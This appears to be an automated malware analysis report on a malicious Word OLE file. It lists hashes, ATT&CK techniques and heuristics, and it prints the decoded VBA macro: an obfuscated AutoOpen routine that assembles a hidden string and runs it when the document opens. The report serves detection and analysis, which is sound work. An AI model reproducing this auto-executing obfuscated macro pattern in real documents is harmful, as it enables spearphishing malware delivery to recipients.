Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 aeb63b13d2b38891…

MALICIOUS

Office (OLE)

50.6 KB First seen: 2019-04-17
MD5: 0932be0cc3991c1e564e632d1c3c358f SHA-1: 9459ebb30755fed880399b1b400ecb4caa19a0fd SHA-256: aeb63b13d2b3889117977173575e06f49be9a8d198afce7fceac0ce8f370aa40
82 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing a VBA macro. The AutoOpen macro is designed to execute automatically when the document is opened, indicating a likely spearphishing attachment delivery method. The macro's obfuscated nature prevents a detailed analysis of its specific actions, but its presence and auto-execution trigger are strong indicators of malicious intent.

Heuristics 4

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 732 bytes
SHA-256: 6d3311f07fe39b187f1dd7153d972394e7252a9caff98fe403741ce44164d296
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ukBJsqKi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   If jdzZqW Xor 7 Then

NNtLLW = "tAPzSLPfAw"
End If
   If TbUPz <> 11 Then

mAnjt = "RiuA"
End If
BqfbHfPJWY (KeyString(ZQwwfZf + bLAFGCRi + 0 + 4 + 63 + wWsjjEl + AczYfoB) + wjmrIF + wMFNO + KeyString(XMMhhQs + DYLcmUR + 0 + 4 + 73 + AmirH + KbFYiOlK) + qwrAmzkcG + PUPzWNULXz + hHosArkwj + AfFwtWo + DonBMk)
   If lpBiwr Or 17 Then

dtNJb = "iHY"
End If
   If WNdat And QQwzw Then

khcFOR = "w"
End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.